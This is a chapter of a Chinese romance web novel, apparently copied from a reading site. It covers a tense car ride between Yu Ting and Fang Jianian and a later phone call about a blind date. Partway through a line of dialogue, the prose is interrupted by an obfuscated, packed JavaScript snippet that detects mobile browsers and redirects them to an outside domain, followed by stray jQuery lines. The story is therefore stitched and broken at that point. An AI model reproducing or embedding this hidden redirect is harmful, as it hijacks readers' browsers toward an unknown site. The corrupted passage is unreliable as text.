汽车平稳地行驶在主干道上。
方嘉年一边注意着路况，时不时地瞥一眼副驾驶。
“生气了？”
“没有。”
虞听托腮无聊地注视着窗外，车玻璃上倒映出她面无表情的脸。
“生气了啊。”方嘉年很确定地下了结论。
虞听没有说话，只留给他一个后脑勺。
“对不起，别生哥哥气了，嗯？”
趁着在等红灯，方嘉年伸手摸了摸那圆鼓鼓的后脑。
真奇怪，有的人就连后脑勺都能表达情绪。
他忍不住笑了。
“嘉年哥。”背对着他的人突然出声。
“嗯。”他连忙收敛了唇边的笑意。
“你能不能别管我了？”
“……”
绿灯亮起，车子却迟迟没有启动，后方车辆不耐烦地鸣笛催促，此起彼伏的喇叭声刺耳得令人皱起眉头。
方嘉年踩下油门，低沉的嗓音里有刻意压制着的不悦。
“知道这是你今天第几次对我说不要管你了么？”
不等虞听回答，他径自说出答案：“第三次。”
“怎么了？开始嫌我烦了？”
“就是……”
虞听盯着车窗外，咬住下嘴唇，竭力憋住哭腔，然而眼泪还是不听话地顺着脸颊流了下来。
“希望你不要管我就好了……”
不要再管她，不要再对她好，不要再让她的心动摇了。
厌烦他、忘记他，对她来说是多么一件困难的事，她正在努力了，明明已经尽力避开了不是吗？为什么偏偏还要出现在她眼前？
给女友买爆米花时不忘带一根热狗给她，宁愿让女友打车回去，也坚持要送她。
这些温柔对待织成了一张细密又巨大的网，黏住她拼命想要离开的双脚。
虞听讨厌这样的方嘉年，更讨厌因为这一点区别对待，而卑劣地产生窃喜心理的自己。
太廉价了，真是……
眼泪唰地流下，倒映在玻璃窗上的自己就像一个小丑。
正想偷偷去抹眼泪，原本平稳驾驶的车身突然一扭，拐入一条偏僻的小巷。
突如其来的惯性令虞听的身子紧紧贴上车门，她慌张地拽住安全带，还没来得及坐稳，车子来了一个急刹，轮胎摩擦地面，发出刺耳的声音，车骤然停了下来。
“吓到了？”
方嘉年若无其事地将车熄火，一把扯开驾驶座的安全带，身体转向她：“吓到了也忍忍吧，哥现在没办法开车。”
“太生气了。”他补充。
平静的语气实在令人无法看出他的怒火已经到无法正常开车的程度。
“……”
虞听呆呆地看着他。
方嘉年叹了声气，从中控台上的纸巾盒里抽了两张纸巾，轻轻擦拭她哭得湿漉漉的面颊。
“为什么哭？我这个被嫌弃像个老头子一样管太多的人还没哭呢。”
“……”
她可没说他像老头子这句话。
方嘉年一边替她擦着眼泪，一边自嘲道：“还以为你没有叛逆期呢，那么乖，比方嘉岁听话多了。原来该来的还是会来啊，只是迟了点。”
感叹的语气就像为正处在青春期的孩子而头疼的家长，拿着纸巾的手指稍稍用力。
“擤一下。”
“……”
眼睛通红的虞听用力拍开他的手，扯了几张纸巾，手忙脚乱地擦掉鼻涕，又瞪向方嘉年：“哥哥为什么要生气？只是让你别管我，这是值得生气的事么？”
方嘉年将用过的纸巾团成一团，扔进中控台，神情并不像她那么激动，只是淡淡反问：“为什么让我别管你？管了这么多年了，突然说出这种话，不是很奇怪么？”
虞听短暂地被噎了一下，随即更激烈地反驳：“你自己更奇怪！”
“我怎么奇怪了？”
“哪里都奇怪！看电影不给女朋友买吃的，却对别人指手画脚。”
“……后来不是买了吗？”
“那为什么只给我买热狗？不给女朋友买？刚刚也是，不送女朋友回家，让她这么晚了打车回去！”虞听越说越大声。
方嘉年注视着她：“是在说你的事情，为什么总是扯上别人？”
别人？女朋友难道是别人吗？
虞听目瞪口呆，真是第一次听到这样的话，她就像个被戳破的气球，迅速萎靡了下来，呆呆看着方嘉年那张帅脸，感叹：“哥哥真的好像渣男一样。”
“……什么？”方嘉年荒谬地笑了。
“你要不是长这样，早就被人甩八百回了。”
虞听突然为江诗逸感到不值，那么漂亮，脾气也好，怎么就眼瞎看上这个渣男了？
接着感觉回旋镖扎中了自己，她不也眼瞎看中这个渣男了么？
失望的同时又不免感到些微的庆幸，还好自己迷途知返，及时止损。不然要是真的在一起了，她的下场恐怕会比江诗逸更加凄惨。
果然人只看脸是不行的，有些人看上去光鲜亮丽，其实内在早就腐烂了。
“想什么呢？”方嘉年修长的手指碰了碰她的下巴，突然笑问，“有这么喜欢吗？”
“什……什么喜欢？”
虞听迅速回神，还因为紧张，不小心磕巴了一下。他不会能听见自己的心声吧？
然而方嘉年给出的回答令她一头雾水：“那个叫什么高山的。”
“高山？为什么提到他？”
“你现在不是在因为他跟我生气吗？”
下巴上的手指逐渐上移，摸索到了眼尾附近。痒酥酥的感觉就像有蚂蚁在爬，心脏也忍不住跟着上下起伏。
虞听再也忍不住了，抓住那在自己脸上不停乱摸的手指。
“关高山什么事？那是因为哥哥说话太让人生气了……”
“嗯，随便吧。”方嘉年语气不怎么在意，“以防万一，我事先跟你说明一下。如果你想要找人交往的话，那个人不行。”
虞听：“……为什么？”
虽然她也并没有想跟高山交往。
“脑袋太笨了。”
马上给出的回答简直不像方嘉年会说的话，从未对任何人评头论足的他，却在接下来的一分钟内将高山从头到脚批判了个体无完肤。
“既不会看眼色，连话都听不懂，一句话要重复说上两三遍才能懂，这种性子难道不会让你郁闷吗？也不懂得照顾人，没有一点绅士风度，吃的喝的都不给准备，还在电影院那种黑漆漆的环境下捧女生的脸……”
“哥哥自己不也……”
话先于脑子脱口而出，但很快在方嘉年冷淡的眼神下败下阵来，虞听默默地咽回了自己原本要说的话。
“也没有那么糟吧？”她忍不住道，“是哥哥太苛刻了。”
“为什么老是替他说话？”
方嘉年皱起眉头，询问的语气里有一丝不易察觉的焦躁。
“那当然是……”
当然是因为高山喜欢的人是方嘉岁，以后也许他会成为你妹妹的男朋友，她当然要为人家挽回一点印象分啊。
“当然是什么？”方嘉年追问。
虞听不能说实话，想了想道：“没什么……我就是想到，他以后有可能会成为某个重要的人，所以不喜欢听到哥哥这么说他。”
“……”
重要的人——是想说男朋友吧？
方嘉年嘴角勾出一丝漫不经心的笑：“你之前不是说有个喜欢的人么？现在不喜欢了？这么快就可以和别的男生约会？”
巷子里没有路灯，只有远处商铺的霓虹隐约透进来一点光，勉强勾勒出他的侧脸轮廓，他的眼神在昏暗中看不真切，却让人莫名感到一阵寒意。
虞听轻轻点头：“嗯，现在不喜欢了。”
话音刚落，方嘉年放在中控台上的手蓦地握紧了。
下巴紧绷，唇线平直，那毫无表情的面孔在车内昏暗的光线下，就像一尊苍白又英俊的雕塑。
***
到家后，就像长了千里眼一样，方嘉岁打来了电话。
“电影看得怎么样？”
“难看，”虞听毫不留情地批判，“你为什么会选这么一部烂片？”
“是吗？我看网友评论说适合情侣去看啊。”
方嘉岁短暂地困惑了一下，但很快又将话题拉回正轨：“不过谁问你片子了？我问的是七号他人怎么样？”
“七号？”
“就是高山。”
“……”
居然还给人家编了编号！
虞听颇感无力：“……还不错。”
她不能明确地说自己对高山没兴趣，不然方嘉岁很快就会将高山划出“心动男嘉宾”名单，转头给她介绍下一位，高山就彻底没戏了。
“真的吗？哪方面不错？”方嘉岁兴致勃勃地追问。
虞听被迫说出了几个优点：“人挺老实的，个头也高……”
“他练跳高的。”方嘉岁打断她道。
“是吗？难怪这么高呢。”
“上体育课时我一眼就看到他了，个子高的人就是显眼。怎么样？不比方嘉年矮吧？”
“……”
为什么突然要提她哥……
虞听心虚道：“是吗？我没有注意。”
“下次你比比看就知道了。脸的话可能比不上，但长得也不差，不是么？”
她为什么要一直拿方嘉年作对比？难道是因为她身边的男生只有哥哥这一个比较标杆？
虞听不想再继续这个话题，敷衍地嗯了一声。
“还有呢？”
“什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560505|186945||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
“他不可能只有这两个优点吧？”
“……”
这又不是在写作业，怎么还逼着她细数别人的优点？
虞听叹了口气，只能搜肠刮肚地憋出些夸人的词汇，心想我真是为你们付出太多。要是日后这两人成了的话，必须请她坐主桌。
方嘉岁：“你们都聊了些什么？”
虞听：“……也没聊什么特别的。”
其实主要是聊你去了。
“是吗？那你对他的初印象呢？”
“初印象……他发消息中规中矩的，跟我爸妈一样，要不是那个卡通头像，我还以为是年龄偏大的人呢。”
“哈哈哈……”
方嘉岁在电话里发出一阵笑声，得意道：“可爱吧？我让他换上的。听说卡通头像能拉近和女孩子的距离。而且，你不觉得长颈鹿很贴合他的形象么？又高又瘦，脖子也挺长的。”
“……”
虞听真是不知说什么好了。
她让一个男孩子换头像，结果人家说换就换了，这难道还不能说明什么吗？
方嘉岁那么聪明的一颗脑袋，在感情的事上还真是迟钝得可以。
虞听突然想起高中时期的一件事。
高中时，方嘉岁曾因早恋被老师叫过家长。
并不是真的早恋，只是那个男孩子的一厢情愿。男生喜欢方嘉岁，所以特意去打听了她的喜好，得知她的兴趣是追动漫，为投其所好，下载了十几部动漫番剧回家连夜看完，第二天再假装不经意地跟方嘉岁提起。
作为一个二次元狂热爱好者，方嘉岁很高兴能找到同道中人，很快就跟他打成一片。两人不仅在下课时热切讨论，就连上课都要传纸条，交流昨天看完的最新一话的剧情。
本就是对男女早恋问题抓得特别严的高中时期，稍微一点风吹草动都能引发无限遐想，他们这时时刻刻黏在一起的样子，落在别人眼里，就成了如胶似漆的情侣。
两人被叫了家长。
方嘉岁是年级排名前十的学霸，一般很少有被叫家长的机会，但一旦她犯了什么错要被叫家长时，那叫来的家长一定是哥哥方嘉年。
就连方嘉年自己都吐槽，好事轮不上他，挨骂的时候倒是能想起他了。
而那天他也果然被骂了。
与方嘉岁否认自己早恋的说辞不同，男生坚定地宣称他和方嘉岁彼此喜欢。
方嘉岁说话从不分场合，当着办公室所有老师和在场家长的面，问他是不是有妄想症。
男孩的家长立刻就炸了，扑过去就要给方嘉岁一耳光，被方嘉年挡在中间。
办公室里吵得不可开交，就连虞听都被叫进去做了证明。
事情以一场闹剧收场。
挨了打又挨了骂的方嘉年最后并没有怪罪妹妹，他没有指责方嘉岁不应该跟男生走得太近，也不觉得她跟同学讨论兴趣爱好有什么不对，只说是那个男孩子误会了，她没有任何问题。
是因为有点愧疚吗？向来爱跟哥哥顶嘴的方嘉岁这次并没有说话，过了许久，她才问：“那要是我真的早恋了呢？”
“早恋可以，但不能影响学习。”
靠在走廊栏杆上的方嘉年浑不在意地说道。
他的脸上还有男生妈妈抓出来的指甲印子，衬衫扣子也被扯掉了两粒，领口凌乱地敞开着。分明是狼狈到不行的模样，却莫名令人有几分心动。
早恋也可以吗？
意料之外的话语令旁边的虞听怦然心动，心底油然而生一股莽撞的勇气，令她蠢蠢欲动。
如果自己向他告白的话，他会接受吗？
本来想等毕业了再告白，免得他拿未成年人的借口拒绝她，可现在看来，他比自己想象的要开明多了。
也许是她脸上的跃跃欲试表现得太明显了，方嘉年突然向她侧过头来，唇边带着温柔笑意，话却说得不留余地。
“你不行，听听。”
——现在想来，他在很久以前就拒绝过自己了。
唉。
虞听叹息一声，身体向后倒在床上，郁闷地揉了揉额头。
“为什么叹——”
方嘉岁的话还没说完，电话里就传来“嘭”地一声巨响。
那声响通过扬声器传进虞听耳朵，吓得她一个激灵坐了起来：“什……什么声音？你家高压锅爆炸了吗？”
“不是。”
方嘉岁捂住听筒，似乎在那边骂了一句什么话，随即告诉虞听：“是方嘉年回来了。不知道发什么神经，脸色差得要去见阎王了。”
虞听：“……”
还在生气吗？
虞听握住手机的手指变得僵硬，关节泛白。
在自己说出那句“不喜欢了”之后，方嘉年的脸色就变了，他未发一言，沉默地开完了那段送她回家的路程。